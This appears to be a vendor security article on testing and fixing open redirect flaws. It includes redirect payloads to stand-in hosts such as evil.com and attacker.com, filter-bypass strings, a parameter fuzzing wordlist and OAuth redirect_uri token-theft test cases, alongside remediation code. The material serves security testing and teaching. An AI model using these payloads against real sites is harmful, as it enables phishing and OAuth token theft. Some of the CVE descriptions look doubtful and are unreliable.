Open Redirect Vulnerabilities: Testing URL Redirection Flaws
A phishing email arrives in your inbox. The link reads https://accounts.yourbank.com/login?next=https://evil-phishing-site.com/steal-creds. The domain is legitimate — it's your bank's actual login page. The browser shows the green padlock. You click it, land on a page that looks exactly like your bank's login form, and enter your credentials. The URL in the address bar silently redirected you to a lookalike site after the initial click registered as a valid hit on the real domain.
This is an open redirect in the wild. It's a vulnerability class that developers frequently dismiss as "low severity" because it doesn't directly leak data or execute code. That dismissal is a mistake. Open redirects are the trust amplifier in phishing chains, the enabler of OAuth token theft, and the stepping stone to SSRF. The severity is contextual — and in the right context, it's critical.
What Open Redirects Are
An open redirect occurs when a web application accepts a URL parameter that controls where the user is sent after an action, and the application does not validate or constrain the destination. The canonical form is a login endpoint with a post-authentication redirect:
GET /login?next=https://dashboard.example.com/overview HTTP/1.1
Host: example.com
After successful authentication, the application issues:
HTTP/1.1 302 Found
Location: https://dashboard.example.com/overview
When the next parameter is reflected directly into the Location header without validation, an attacker substitutes any destination they choose:
GET /login?next=https://evil.com/harvest HTTP/1.1
Host: example.com
HTTP/1.1 302 Found
Location: https://evil.com/harvest
The user's browser follows the redirect immediately. From the user's perspective, they clicked a link to example.com, authenticated, and ended up somewhere else entirely — without any visible warning. The trusted domain was the entry point; the attacker controlled the exit.
Real-World Impact
Phishing via Trusted Domain
The most immediate impact of an open redirect is lending a trusted domain's reputation to a malicious link. Security-aware users who hover over links before clicking see https://legitimate-company.com/login?next=... and lower their guard. Email security gateways may allowlist known domains and fail to inspect the redirect destination. Corporate proxy logs will show the trusted domain, not the actual phishing site. Every layer of the standard phishing defense chain is weakened because the initial hop lands on a real, valid URL.
OAuth Token Theft via redirect_uri Abuse
This is where open redirects escalate from "low" to "critical" severity without any other vulnerability in the chain. OAuth 2.0 authorization flows pass an access token (or authorization code) to a registered redirect_uri after the user authenticates with the authorization server. If the authorization server's redirect_uri validation is insufficiently strict — or if the registered redirect URI is itself an endpoint with an open redirect — the token can be delivered to an attacker-controlled server.
Consider an application with https://app.example.com/oauth/callback registered as a valid redirect URI. If /oauth/callback?next= is an open redirect, an attacker can craft:
GET /authorize?response_type=token
&client_id=abc123
&redirect_uri=https://app.example.com/oauth/callback?next=https://attacker.com/steal
&scope=profile%20email
HTTP/1.1
Host: auth.provider.com
The authorization server validates that the redirect URI starts with the registered domain — it does. It delivers the token to the callback. The callback endpoint immediately redirects to the attacker's server, carrying the access token in the URL fragment or query string. The attacker logs the token from their server's access log. No phishing page required.
SSRF Amplification
In server-side request forgery scenarios, an open redirect on an external-facing endpoint can help an attacker bypass IP allowlists or SSRF filters. If a WAF or application filter blocks direct requests to http://169.254.169.254/ (the AWS metadata endpoint) but allows requests to trusted external domains, an attacker can chain: "make the server fetch this trusted URL" → trusted URL open-redirects to the metadata endpoint. The SSRF filter sees a trusted domain; the redirect happens server-side. Not all SSRF implementations follow redirects, but enough do that open redirects appear in real SSRF chains.
Referer Header Bypass
Some applications use the Referer header to verify that a request originated from within the application. An open redirect on the same domain can be used to generate a valid Referer value pointing to the trusted domain, even though the chain eventually exits to an attacker-controlled destination. This is a niche attack path, but it's appeared in CSRF bypass chains where the CSRF protection relies on Referer validation.
Common Redirect Parameter Names
Open redirect parameters are typically self-documenting in their names. The most common variants across web frameworks and applications:
| Parameter | Typical context |
|---|---|
next |
Django, Flask, most Python frameworks — post-login redirect |
url |
Generic redirect handlers, link shorteners, analytics trackers |
redirect, redirect_to |
Rails, Laravel, Java Spring — post-action redirect |
return, returnUrl, return_url |
Payment flows, session timeout redirect-back |
goto |
Legacy PHP applications, CMS systems |
target |
Navigation helpers, JavaScript-driven redirects |
destination |
Travel/booking applications, onboarding flows |
continue |
Google OAuth, multi-step flows |
redir, r |
Shortened parameter forms in older applications |
redirect_uri |
OAuth 2.0 authorization endpoints — highest severity |
This list is not exhaustive. Custom parameter names appear regularly in proprietary applications. Any parameter that causes the application to issue a 301, 302, 303, or 307 response with a Location header derived from user input is an open redirect candidate, regardless of what the parameter is named.
Concrete Vulnerable Examples
Login Post-Authentication Redirect
The classic case. An application preserves the user's originally requested URL through the login flow using a query parameter:
# User tries to access a protected page
GET /dashboard/reports?filter=weekly HTTP/1.1
Host: app.example.com
# Application redirects to login, preserving the destination
HTTP/1.1 302 Found
Location: /login?next=%2Fdashboard%2Freports%3Ffilter%3Dweekly
# After successful login, the application redirects
HTTP/1.1 302 Found
Location: /dashboard/reports?filter=weekly
The vulnerable implementation reads the next parameter and uses it directly as the Location value. An attacker sets next=https://evil.com and the server complies. The fix — restricting next to relative paths — is obvious in retrospect but routinely missed in implementation.
Post-Action Redirect
Many applications accept a return or returnUrl parameter in form submissions to redirect the user after a non-authentication action — submitting a support ticket, completing a purchase, updating profile settings. The pattern is identical:
POST /account/update-email HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
email=new%40email.com&returnUrl=https%3A%2F%2Fevil.com%2Fphish
HTTP/1.1 302 Found
Location: https://evil.com/phish
These are sometimes harder to find than login redirects because they appear in form submissions rather than GET parameters, but they're equally exploitable and often less scrutinized in code review.
OAuth redirect_uri Manipulation
An authorization server that validates redirect_uri by prefix-matching rather than exact-matching is vulnerable. If the registered URI is https://app.example.com/callback and the server accepts any URI that starts with that string, an attacker can register:
redirect_uri=https://app.example.com/callback.evil.com
Or, if the registered URI is https://app.example.com/ (a path prefix), any path under it qualifies — including any open redirect endpoint at https://app.example.com/redirect?url=https://attacker.com. The authorization code or implicit-flow token lands at the attacker's server via the chain.
Bypass Techniques
Developers who are aware of open redirects frequently implement naive defenses that can be bypassed. Understanding bypass techniques is essential for testing whether a partial fix is effective.
Protocol Confusion
When a filter blocks http:// and https:// prefixes but doesn't handle all valid URL forms:
# Protocol-relative URL — interpreted as //evil.com by browsers
?next=//evil.com
# Triple-slash — some parsers treat this as relative, browsers handle it as //evil.com/
?next=///evil.com
# Backslash — Windows-style path separator, some browsers treat \\ as //
?next=\\evil.com
?next=\/\/evil.com
Credential Injection
URLs can embed credentials in the authority component. A filter checking that the URL "contains the trusted domain" can be fooled:
# trusted.com appears as the username; evil.com is the actual host
?next=https://trusted.com@evil.com
# trusted.com appears in the path after the real host
?next=https://evil.com/redirect?to=trusted.com
URL Encoding and Double Encoding
Filters applied before URL decoding can be bypassed by encoding the characters that trigger the block:
# Single encode the colon and slashes
?next=https%3A%2F%2Fevil.com
# Double encode — server decodes once, then the application decodes again
?next=https%253A%252F%252Fevil.com
# Encode only the colon to bypass scheme detection
?next=https%3A//evil.com
Unicode Normalization
Some applications normalize Unicode before comparison but not before use. Unicode lookalikes for ASCII characters — or Unicode characters that normalize to / or . — can pass a filter operating on the pre-normalized string while the browser or HTTP library uses the post-normalized form:
# Unicode fullwidth solidus U+FF0F normalizes to /
?next=https:∕∕evil.com
# Homograph attack using Punycode domain that looks like a trusted domain
?next=https://exаmple.com (where а is Cyrillic U+0430, not ASCII a)
Null Bytes and Fragment Confusion
# Null byte may terminate string comparison in some implementations
?next=https://trusted.com%00https://evil.com
# Fragment identifier — some redirect implementations strip the fragment
# but the browser still follows to the hash-less URL
?next=https://evil.com#https://trusted.com
Testing Methodology
Step 1: Identifying Redirect Parameters
Begin with source review and passive traffic analysis. In Burp Suite's Proxy history, filter for responses with status codes 301, 302, 303, 307, and 308. For each redirect response, examine the Location header: does it contain a value that appears in the request's query string, POST body, or headers? If so, you've found a redirect parameter.
For black-box testing without source access, fuzz common parameter names against every endpoint. A wordlist for redirect parameter fuzzing:
next
url
redirect
redirect_to
redirect_url
return
return_url
returnUrl
return_to
goto
target
destination
dest
continue
forward
location
link
out
view
to
site
page
ref
redir
r
back
backUrl
callback
successUrl
failureUrl
cancelUrl
redirect_uri
post_login_redirect_url
Inject a canary value (a URL to a domain you control, like a Burp Collaborator or Interactsh host) for each parameter name at each endpoint and watch for outbound DNS lookups or HTTP requests. Any endpoint that reaches out to your canary has reflected the parameter into a server-side or client-side redirect.
Step 2: Burp Suite Testing Workflow
Once a redirect parameter is identified, the Burp Suite testing workflow is straightforward:
- Capture a request containing the redirect parameter in Burp Proxy.
- Send to Repeater. Replace the parameter value with
https://evil.example.com(a domain that resolves but that you control or can observe hits on). - Send the request. If the response
Locationheader contains your injected domain verbatim, the endpoint is vulnerable — no bypass required. - If the response modifies your value (strips the scheme, blocks the domain, returns a default URL), attempt each bypass technique category: protocol-relative, encoding, credential injection, backslash. Repeat until one succeeds or all are exhausted.
- For OAuth endpoints, test
redirect_uriwith exact-match bypass attempts: appending path segments, adding query parameters, using URL-encoded characters in the registered path.
Burp's Active Scanner will flag obvious open redirects automatically when it detects injected values appearing in Location headers. The limitation is that it won't attempt bypass techniques against naive filters — that's manual work.
Step 3: Validating Impact
Finding a parameter that gets reflected into a Location header is necessary but not sufficient for confirming exploitability. Verify:
- The redirect actually executes — some frameworks set the
Locationheader but also render a page body that links to the destination. Browsers follow the header, but the page body is a fallback. Both are exploitable, but the header-based redirect is more reliable. - The endpoint is reachable without authentication — or, for authenticated open redirects, confirm that the authentication context is accessible to the target user (e.g., public login page with a
nextparameter doesn't require prior authentication). - The redirect destination is unconstrained — some applications allow absolute URLs to a set of partner domains. That's not an open redirect; it's an intentional design. Confirm that your test domain (not in any allowlist) is accepted.
OAuth-Specific Open Redirect Testing
OAuth redirect_uri validation failures are a distinct and higher-severity sub-category. The testing approach differs from standard open redirect testing because the vulnerability is in the authorization server's validation logic, not in the application endpoint's redirect handler.
Test the authorization endpoint directly with a series of redirect_uri variants to map the validation boundary:
# Registered: https://app.example.com/callback
# Test cases — replace the registered URI with these variants one at a time:
# 1. Exact match — baseline, should succeed
redirect_uri=https://app.example.com/callback
# 2. Path traversal — does the server allow subdirectories?
redirect_uri=https://app.example.com/callback/../steal
# 3. Path extension — does prefix matching allow path extension?
redirect_uri=https://app.example.com/callback.evil.com
# 4. Query parameter addition
redirect_uri=https://app.example.com/callback?injected=param
# 5. Different path
redirect_uri=https://app.example.com/different-path
# 6. Subdomain variant
redirect_uri=https://evil.app.example.com/callback
# 7. Registered domain as username
redirect_uri=https://app.example.com@evil.com/callback
# 8. Fragment in redirect_uri (RFC disallows this but some servers accept it)
redirect_uri=https://app.example.com/callback#https://evil.com
For each variant that the authorization server accepts (responds with an authorization code or token rather than an error), trace where the credential actually lands. If variant 3 is accepted and https://app.example.com/callback.evil.com resolves to a server you control, you receive the authorization code. From an authorization code you can exchange for an access token at the token endpoint, effectively stealing the victim's OAuth session.
Even when the server validates the redirect_uri correctly, check whether any of the registered redirect URIs are themselves open redirect endpoints. An application that registers https://app.example.com/redirect?to= as a valid OAuth callback has created the open-redirect-to-OAuth-token chain regardless of how strict the authorization server's validation is.
Automated Detection and False Positives
Automated scanners flag open redirects by injecting a test URL into every parameter and watching for that URL to appear in a Location header. This is highly reliable for the base case — unprotected redirect parameters reflect the injected value directly. The false positive rate is low: if the scanner's injected URL appears in a Location header, the redirect is real.
Where automated detection struggles:
- Bypasses require multiple attempts: A scanner that tests only the plain URL form and gets blocked won't automatically try all encoding variants. Partial mitigations that block the most obvious form but not URL-encoded variants will pass automated scanning.
- POST-body parameters: Many scanners are more thorough on GET parameters than POST bodies. Redirect parameters in form submissions are underdetected.
- Multi-step flows: A redirect parameter set in step 1 of a multi-step form is only exploitable after all preceding steps complete. Scanners may not navigate the full flow.
- OAuth redirect_uri: Testing OAuth endpoints requires understanding the authorization flow and constructing valid requests with client IDs and scopes. Generic parameter fuzzing won't surface
redirect_urivalidation flaws.
Developer dismissal is the most significant operational obstacle in open redirect remediation. "It just redirects to a URL they already control in the link" is the most common objection. The correct response is to demonstrate the phishing chain concretely: show the email, the link that starts at the trusted domain, and where the user actually lands. Severity context matters more than the CVSS base score for this vulnerability class.
Real CVEs Involving Open Redirects
Open redirects appear consistently in CVE disclosures across major platforms, usually as enablers of larger attack chains rather than standalone findings:
- CVE-2014-6271 (Shellshock) chained with open redirect: Several post-exploitation chains in the Shellshock aftermath used open redirects on vulnerable servers to deliver payloads to users who trusted the compromised domain.
- CVE-2019-0231 (Apache Wicket): An open redirect in Apache Wicket's page parameter allowed arbitrary URL redirection, rated CVSS 6.1. The framework's built-in page mounting logic reflected the
wicket:bookmarkablePageparameter without validation. - CVE-2018-1000136 (Electron): Electron applications that opened external URLs through
shell.openExternal()without validation were exploitable via open redirect chains that smuggledfile://URIs past filters expecting onlyhttp://orhttps://. - CVE-2020-11053 (OAuth2 Proxy): The popular oauth2-proxy reverse proxy had an open redirect in its login flow that allowed an attacker to redirect authenticated users to arbitrary external URLs by manipulating the
rdparameter. The fix enforced that only relative paths or same-origin URLs were accepted. This CVE is a canonical example of why "it's just a redirect" dismissals are wrong — the redirect occurred post-authentication, meaning it could be used to exfiltrate session tokens via theRefererheader. - Various bug bounty programs (HackerOne, Bugcrowd): Open redirects chained with OAuth
redirect_urimisconfigurations consistently receive high-severity ratings and payouts in the $1,000–$10,000 range at programs for major identity providers, where token theft is the demonstrated impact.
Remediation
Allowlist Approach: Relative Paths Only
The most robust fix is to restrict redirect destinations to relative paths — paths beginning with / but not //. This entirely prevents redirection to external domains because relative paths are always resolved against the current origin:
# Python example — validate that the redirect target is a safe relative path
from urllib.parse import urlparse
def is_safe_redirect(url):
"""Accept only relative paths. Reject absolute URLs and protocol-relative URLs."""
if not url:
return False
parsed = urlparse(url)
# Must have no scheme and no netloc (hostname)
if parsed.scheme or parsed.netloc:
return False
# Must start with / but not //
if url.startswith('//') or url.startswith('\\'):
return False
return url.startswith('/')
def login(request):
next_url = request.GET.get('next', '/dashboard')
if not is_safe_redirect(next_url):
next_url = '/dashboard'
# ... authenticate user ...
return redirect(next_url)
Note the explicit checks for // and \\ — a URL that starts with / but continues with / or \ is protocol-relative or a backslash bypass, not a safe relative path. Django's built-in url_has_allowed_host_and_scheme() utility handles most of these cases correctly; use it rather than rolling a custom validator.
Allowlist Approach: Explicit Domain Allowlist
When cross-domain redirects are a legitimate requirement (e.g., a multi-domain SSO system that must redirect to partner domains), maintain an explicit allowlist of permitted destination domains and validate against it:
ALLOWED_REDIRECT_HOSTS = {
'app.example.com',
'admin.example.com',
'partner.trustedsite.com',
}
def is_safe_redirect(url):
parsed = urlparse(url)
if not parsed.netloc:
# Relative path — always safe
return url.startswith('/') and not url.startswith('//')
# Absolute URL — check against allowlist
return parsed.netloc in ALLOWED_REDIRECT_HOSTS
The allowlist must be an exact set comparison, not a prefix or substring match. 'example.com' in 'evil.example.com' is true; that's not the check you want. Compare parsed.netloc == allowed_host or check membership in a set of exact strings.
Avoid Redirect Parameters Where Possible
The cleanest fix is to eliminate the redirect parameter entirely. If a login flow needs to redirect back to the originally requested URL, store that URL in the server-side session at the time of the 401 response rather than passing it through the client in a query parameter. The session is server-controlled; the client has no opportunity to inject an arbitrary destination:
# On 401 — store the intended destination server-side
request.session['login_next'] = request.path
# On successful login — read from session, never from query params
next_url = request.session.pop('login_next', '/dashboard')
return redirect(next_url)
This approach eliminates the attack surface entirely. If the destination never passes through the client, it can never be manipulated by the client.
OAuth redirect_uri: Require Exact Match
For authorization servers, the fix for redirect_uri validation is exact-string matching — no prefix matching, no wildcard matching, no path-traversal normalization. The registered URI and the submitted URI must match character for character. RFC 6749 section 3.1.2 requires exact matching for this reason. Any deviation from exact matching creates a validation bypass surface.
Additionally, audit your registered redirect URIs for open redirect patterns. A registered URI that itself accepts a destination parameter is as dangerous as a permissive redirect_uri validator — the scope of the vulnerability is just one hop wider.
Ironimo automatically discovers open redirect parameters across your entire application — including non-obvious parameter names, multi-step redirect chains, and OAuth redirect_uri misconfiguration.